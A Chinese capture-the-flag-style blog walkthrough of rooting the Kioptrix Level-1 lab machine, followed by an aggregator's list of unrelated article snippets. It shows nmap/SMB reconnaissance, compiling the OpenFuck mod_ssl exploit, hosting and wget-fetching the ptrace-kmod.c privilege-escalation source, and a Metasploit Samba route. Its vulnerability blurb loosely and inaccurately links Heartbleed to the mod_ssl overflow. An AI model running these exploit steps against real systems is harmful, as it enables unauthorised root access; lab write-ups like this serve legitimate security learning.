当前位置: 首页 > news >正文

靶场之路-Kioptix Level-1 mod_ssl 缓冲区溢出漏洞

声明
学习视频来自B站UP主 泷羽sec,如涉及侵泷羽sec权马上删除文章笔记的只是方便各位师傅学习知识,以下网站涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负

一、准备工作

首先使用 vmware 导入靶机文件,

然后网络模式改成 nat 模式即可

我们打开靶机后发现需要我们拿到 root 权限,那我们尝试外部渗透

二、开始工作

1、信息收集

1、首先探测出目标 ip,我们再对目标 ip 地址进行端口存活的扫描,以及使用的服务版本信息等

1、ifconfg(查看自己网段)
2、nmap -sS -sV 192.168.122.188
3、nmap -sn 192.168.122.x/2(探测全网段ip)
4、arp-scan -l(探测存活主机)
5、指纹探测,nmap -p- -sV -A 192.168.122.188(-sV: 服务版本扫描 -A:全面扫描 -p-:全端口扫描,信息全面,比较好确认使用的服务相关信息)

以下便是我们采用不同方式探测到的主机 ip

指纹探测,推荐使用第 namp -sS -sV ip 探测出来的很清晰,信息很集中

我们得到的信息:

  • 22 端口开放,ssh 服务(可尝试弱口令)

  • 80 端口开放,Apache httpd 1.3.20 ((Unix),mod_ssl/2.8.4 OpenSSL/0.9.6b),Apache 版本过低可能存在 mod_ssl 漏洞。

  • 443 端口开放,(80,443 在浏览器上尝试一下)

  • 139 端口开放,Samba 服务,可能存在漏洞利用

2、信息利用
一、找相关exp文件

1、我们尝试利用访问浏览器的 80、443 端口,查询是否有可利用信息

80 端口的页面只有使用的 Apache 服务,和 RedHat,并没给出特别有用信息

2、端口 139 利用(SMB)

nmap -T4 -A -p 139 192.168.122.188
smbclient -L //SERVER -I 192.168.139.5 -N
匿名登录smb
enum4linux -a IP
enum4linux 介绍:enum4linux -a 是一个用于枚举 Windows 和 Samba 系统信息的工具,它提供了多种功能,包括获取用户列表、机器列表、共享列表、密码策略信息、组和成员列表等。以下是关于 enum4linux -a 的详细解释和使用方法。
enum4linux -a 命令会执行一系列的枚举操作,以获取目标系统上的各种信息。具体来说,它会执行以下操作:
获取用户列表(-U)
获取机器列表(-M)
获取共享列表(-S)
获取密码策略信息(-P)
获取组和成员列表(-G)
通过 RID 循环枚举用户(-r)
获取操作系统信息(-o)
获取打印机信息(-i)
做一个 nmblookup(类似于 nbtstat)(-n)
详细输出,显示正在运行的完整命令(-v)

3、使用 dirb,和 dirsearch 扫描目录

dirb http://192.168.122.188
dirsearch http://192.168.122.188 -e * -i 200
区别:dirb是kali自带的扫描工具,而dirsearch需要自己下载

这是我们的探测结果,我们去尝试打开他们

我们尝试 url,发现了这样一个 mod_ssl 漏洞信息,也是靶场给我们的提示,我们借着这个信息顺藤摸瓜。

漏洞介绍: Apache 的 mod_ssl 缓冲区溢出漏洞主要因模块未严格验证 SSL/TLS 协议处理中的输入数据边界,导致攻击者可通过构造恶意请求覆盖相邻内存区域。例如,早期 OpenSSL 版本(如 CVE-2014-0160 心脏出血漏洞)因未检查心跳包长度,引发信息泄露,而类似逻辑缺陷可能扩展为代码执行风险 4。此类漏洞通常通过发送超长或畸形 SSL 数据触发,可能造成服务崩溃或远程控制服务器。

3、寻找相关 exp 既然我们也清晰了相关漏洞,那我们就要找到相关的 exp,对症下药。

1、searchsploit apache 1.3.20
2、searchsploit mod_ssl
3、选择在网站上查询,https://www.exploit-db.com/search
我们自己决定使用哪条命令,因为在之前我们收集到了mod_ssl的信息,我们选择第二条命令,选择哪种方式都ok

我们看到第二张图片, 如何判断我们要使用哪个 exp 也是一个问题,我们要根据之前的收集信息,RedHat、apache 版本等来确定使用哪个 exp。

我们将三个 exp 文件下载下来尝试去编译,我们下载后先查看运行的相关信息

记得换源,这个就自行更改就行

4、使用 exp

gcc -o OpenFuck 47080.c -lcrypto
使用gcc编译我们的47080.c,每个文件都尝试一下
./OpenFuck | grep 1.3.20
检索查询编译后二进制文件

以下是两种检索方式

这么多文件我们要选择哪一个呢,记住我们之前收集到的信息,RedHat、Apache1.3.20

ok,ox6a 的文件的用户权限是 apache,也就是普通用户,这时候我们进行提权 a、下载提权脚本

https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

b、本机终端开启 80 端口监听服务

python -m http.server 80

c、另外开一个终端连接靶机然后在本机 80 端口下载提权文件

wget http://192.168.122.187:80/ptrace-kmod.c
注意,ip是本机ip,弄错了就去找块豆腐撞死好吧

d、我在再次编译 OpenFcuk 文件,这次登录后实质上已经编译了 ptrace-kmod.c

./OpenFuck 0x6b 192.168.122.188 443 -c 40

这时候权限就已经变成了 root

这个时候就可以任意访问靶机文件了

二、使用msf,smaba漏洞

这里我也是看了其他大佬的文章,也可以使用msf方式进行提权,接下来我们尝试一下

先来个简单的介绍,这种通常要记住端口自己找一找关键信息

Samba远程代码执行漏洞利用 Samba是linux和unix系统上实现smb协议的一个免费软件,由服务器及客户端程序构成Samba服务:对于这个可以在windows与Linux之间进行共享文件的服务同样是我们攻击的关注点;NFS 与 samba 一样,也是在网络中实现文件共享的一种实现,但不支持 windows 平台,samba 是能够在任何支持 SMB 协议的主机之间共享文件的一种实现,当然也包括 windows。SMB 是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。samba监听端口:TCP 139/445 | UDP 137/138

1、打开msf

msfconsole 
我们打开msf工具

2、确定版本 我们要确定我们的smaba版本

这里我们还是要设定参数的,首先我们选择了探测smaba版本的工具,输入options然后设置探测端口,再运行,我们得到了smaba版本号是2.2.1a

按照大佬所说的小技巧,一般是great和excelle成功率比较高,还是根据信息收集,选择linux x86

拿下!

总结:虽然拿下了,但是也是建立在别人知识的基础上,但是作为打靶路上的第一站,我觉得打靶真的可以学到很多东西,虽然只是一个简单靶场但还是比较有成就感。其次把打靶的流程也熟悉了一遍包括工具的使用,对于我这个喜欢啃书本的人来说,实战是非常有冲击感的,希望以此为始来见证我的渗透之路,走着。

后续我也会出更多打靶文章,希望大家关注!谢谢。

相关文章:

靶场之路-Kioptix Level-1 mod_ssl 缓冲区溢出漏洞

声明 学习视频来自B站UP主 泷羽sec,如涉及侵泷羽sec权马上删除文章笔记的只是方便各位师傅学习知识,以下网站涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负 一、准备工作 首先使用 vmware 导入靶机文件, 然后网络模式改成 nat 模式即可 我们打…...

【Viewer.js】vue3封装图片查看器

效果图 需求 点击图片放大可关闭放大的 图片 下载 cnpm in viewerjs状态管理方法 stores/imgSeeStore.js import { defineStore } from pinia export const imgSeeStore defineStore(imgSeeStore, {state: () > ({showImgSee: false,ImgUrl: ,}),getters: {},actions: {…...

stm32mp采用spi接口扩展can

在 STM32MP 系列微处理器中,通过 SPI 转 CAN 功能扩展 CAN 接口需要结合硬件设计(如使用 SPI 接口的 CAN 控制器芯片)和 Linux 驱动配置。以下是详细的实现步骤和关键点: 硬件选型与连接 常用 SPI 转 CAN 芯片MCP2515:经典 SPI 转 CAN 控制器,支持 CAN 2.0B。MCP2517FD:…...

forge-1.21.x模组开发(二)给物品添加功能

功能效果 创建一个兑换券,当使用兑换券对着兑换机右键时,获得一条烤鱼 创建兑换券 创建ExchangeCouponsItem.java,继承Item,定义兑换券内容 public class ExchangeCouponsItem extends Item {public ExchangeCouponsItem(Prop…...

创建第一个 Maven 项目(一)

一、引言 在 Java 开发的广袤天地中,Maven 宛如一位全能的管家,发挥着举足轻重的作用。它是一个基于项目对象模型(POM)的项目管理和构建自动化工具,极大地简化了 Java 项目的开发流程。 Maven 的核心优势之一在于其强…...

网络运维学习笔记 022 HCIA-Datacom新增知识点03园区网典型组网架构及案例实战

园区网典型组网架构及案例实战 园区网:内部运行了园区网协议的一个主体网络 园区网络典型架构 园区网络常用协议与技术: 接入层: VLAN、生成树、链路聚合、AAA、dhcp-snooping等 汇聚层:DHCP、堆叠、链路聚合、生成树、OSPF、静…...

python-leetcode-二叉树的直径

543. 二叉树的直径 - 力扣(LeetCode) # Definition for a binary tree node. # class TreeNode: # def __init__(self, val0, leftNone, rightNone): # self.val val # self.left left # self.right right class Solutio…...

ubuntu中打包与压缩命令详解

Ubuntu 中打包与压缩命令详解 在 Ubuntu 系统中,打包和压缩文件是常见的操作。通过打包和压缩,可以将多个文件或目录合并为一个文件,并减小文件大小以节省存储空间或方便传输。本文将详细介绍 Ubuntu 中常用的打包与压缩命令及其用法。 目录…...

Linux MySQL 8.0.29 忽略表名大小写配置

Linux MySQL 8.0.29 忽略表名大小写配置 问题背景解决方案遇到的问题: 问题背景 突然发现有个大写的表报不存在。 在Windows上,MySQL是默认支持忽略大小写的。 这个时候你要查询一下是不是没有配置: SHOW VARIABLES LIKE lower_case_table…...

【c++】【线程池】线程池模式

【c】【线程池】线程池模式 1 L/F领导者与跟随者模式 概述:在此模式中,线程池中的线程分为:领导者(Leader),跟随者(Follower)和工作者(Processor) 领导者线…...

Next.js 学习-1

Next.js学习 引用:https://www.nextjs.cn/learn/basics/create-nextjs-app 先试试水吧,正好dify用的这个构建的前端项目。 使用 如果您尚未安装 Node.js,请 从此处安装。要求 Node.js 10.13 或更高版本。 好吧得用新的了,记得…...

bat命令在b站下载单个音视频

文章目录 单个音频第一行代码第二行代码下载后效果图 单个视频第一行代码第二行代码第三行代码第四行代码第五行代码下载后效果图 单个音视频第一行代码第二行代码第三行代码第四行代码第五行代码第六行代码下载后的效果图 单个音频 chcp 65001 you-get -o D:\Files\pydownloa…...

函数中的形参和实参(吐槽)

def greet_user(user_name):print(f"Hello,{user_name.title()}!")greet_user("zhangsan") 在以上函数中,user_name是形参, 在greet_user("zhangsan")中,值“zhangsan”是实参。这本身没什么大问题。 但是这…...

运维Ansible面试题及参考答案

目录 简述 Ansible 的工作原理,它是如何实现对远程主机管理的? Ansible 是基于什么语言开发的?这门语言的特性对 Ansible 的功能实现有哪些帮助? 解释 Agentless 在 Ansible 中的含义,与基于 Agent 的自动化工具相比,优势体现在哪? Ansible 中的 Inventory 文件是什…...

3、优先级翻转问题

FreeRTOS优先级翻转是当高优先级任务因等待低优先级任务占用的资源(如互斥锁)被阻塞,而中优先级任务趁机执行,导致高优先级任务无法及时运行的调度异常。 场景示例: 任务优先级:存在三个任务,优…...

python 进程池的基本使用

Python 进程池:Pool任务调度实现 在现代计算机系统重,处理器核心数量的增加为并行计算提供了强大的硬件基础。Python的 multiprocessing 模块中的进程池(Pool)机制,为开发者提供了 一个高效且易用的并行处理框架。 通…...

从零开始学 Rust:基本概念——变量、数据类型、函数、控制流

文章目录 Variables and MutabilityShadowing Data TypesScalar TypesCompound Types FunctionsFunction Parameters CommentsControl FlowRepetition with Loops Variables and Mutability fn main() {let mut x 5;println!("The value of x is: {}", x);x 6;pri…...

记录一次SpringMVC的406错误

原生态的406错误 1. 错误起因2. 解决办法解决方式一 检查是否有导入jackson依赖解决方式二 检查web.xml中是否有配置.html 3. 再次测试 1. 错误起因 最近博主准备重新撸一遍SSM以及SpringBoot的源码,于是用原始的SpringMVC写了一个demo,并且用Tomcat进行…...

Github 2025-02-23 php开源项目日报 Top9

根据Github Trendings的统计,今日(2025-02-23统计)共有9个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量PHP项目9JavaScript项目2Shell项目1TypeScript项目1Blade项目1Java项目1ASP项目1Vue项目1Laravel:表达力和优雅的 Web 应用程序框架 创建周期:…...

一、初始爬虫

1.爬虫的相关概念 1.1 什么是爬虫 网络爬虫(又被称为网页蜘蛛,网络机器人)就是模拟浏览器发送网络请求,接收请求响应,一种按照一定的规则,自动地爬取互联网信息的程序。 原则上,只要是浏览器…...

C++:std::is_convertible

C++标志库中提供is_convertible,可以测试一种类型是否可以转换为另一只类型: template <class From, class To> struct is_convertible; 使用举例: #include <iostream> #include <string>using namespace std;struct A { }; struct B : A { };int main…...

Golang 面试经典题:map 的 key 可以是什么类型?哪些不可以?

Golang 面试经典题&#xff1a;map 的 key 可以是什么类型&#xff1f;哪些不可以&#xff1f; 在 Golang 的面试中&#xff0c;map 类型的使用是一个常见的考点&#xff0c;其中对 key 类型的合法性 是一道常被提及的基础却很容易被忽视的问题。本文将带你深入理解 Golang 中…...

Robots.txt 文件

什么是robots.txt&#xff1f; robots.txt 是一个位于网站根目录下的文本文件&#xff08;如&#xff1a;https://example.com/robots.txt&#xff09;&#xff0c;它用于指导网络爬虫&#xff08;如搜索引擎的蜘蛛程序&#xff09;如何抓取该网站的内容。这个文件遵循 Robots…...

关于 WASM:1. WASM 基础原理

一、WASM 简介 1.1 WebAssembly 是什么&#xff1f; WebAssembly&#xff08;WASM&#xff09; 是一种能在现代浏览器中高效运行的二进制指令格式&#xff0c;它不是传统的编程语言&#xff0c;而是一种 低级字节码格式&#xff0c;可由高级语言&#xff08;如 C、C、Rust&am…...

【JavaWeb】Docker项目部署

引言 之前学习了Linux操作系统的常见命令&#xff0c;在Linux上安装软件&#xff0c;以及如何在Linux上部署一个单体项目&#xff0c;大多数同学都会有相同的感受&#xff0c;那就是麻烦。 核心体现在三点&#xff1a; 命令太多了&#xff0c;记不住 软件安装包名字复杂&…...

推荐 github 项目:GeminiImageApp(图片生成方向,可以做一定的素材)

推荐 github 项目:GeminiImageApp(图片生成方向&#xff0c;可以做一定的素材) 这个项目能干嘛? 使用 gemini 2.0 的 api 和 google 其他的 api 来做衍生处理 简化和优化了文生图和图生图的行为(我的最主要) 并且有一些目标检测和切割(我用不到) 视频和 imagefx 因为没 a…...

jdbc查询mysql数据库时,出现id顺序错误的情况

我在repository中的查询语句如下所示&#xff0c;即传入一个List<intager>的数据&#xff0c;返回这些id的问题列表。但是由于数据库查询时ID列表的顺序与预期不一致&#xff0c;会导致返回的id是从小到大排列的&#xff0c;但我不希望这样。 Query("SELECT NEW com…...

02.运算符

目录 什么是运算符 算术运算符 1.基本四则运算符 2.增量运算符 3.自增/自减运算符 关系运算符 逻辑运算符 &&&#xff1a;逻辑与 ||&#xff1a;逻辑或 &#xff01;&#xff1a;逻辑非 短路求值 位运算符 按位与&&#xff1a; 按位或 | 按位取反~ …...

数据库正常,但后端收不到数据原因及解决

从代码和日志来看&#xff0c;后端SQL查询确实返回了数据&#xff0c;但最终user对象却为null。这表明查询结果没有正确映射到User对象上。 在前后端分离&#xff0c;并且ai辅助开发的时候&#xff0c;很容易出现前后端变量名不一致情况&#xff0c;还不报错&#xff0c;只是单…...

Python爬虫实战:研究Restkit库相关技术

1. 引言 1.1 研究背景与意义 在当今信息爆炸的时代,互联网上存在着海量的有价值数据。如何高效地采集这些数据并将其应用于实际业务中,成为了许多企业和开发者关注的焦点。网络爬虫技术作为一种自动化的数据采集工具,可以帮助我们从网页中提取所需的信息。而 RESTful API …...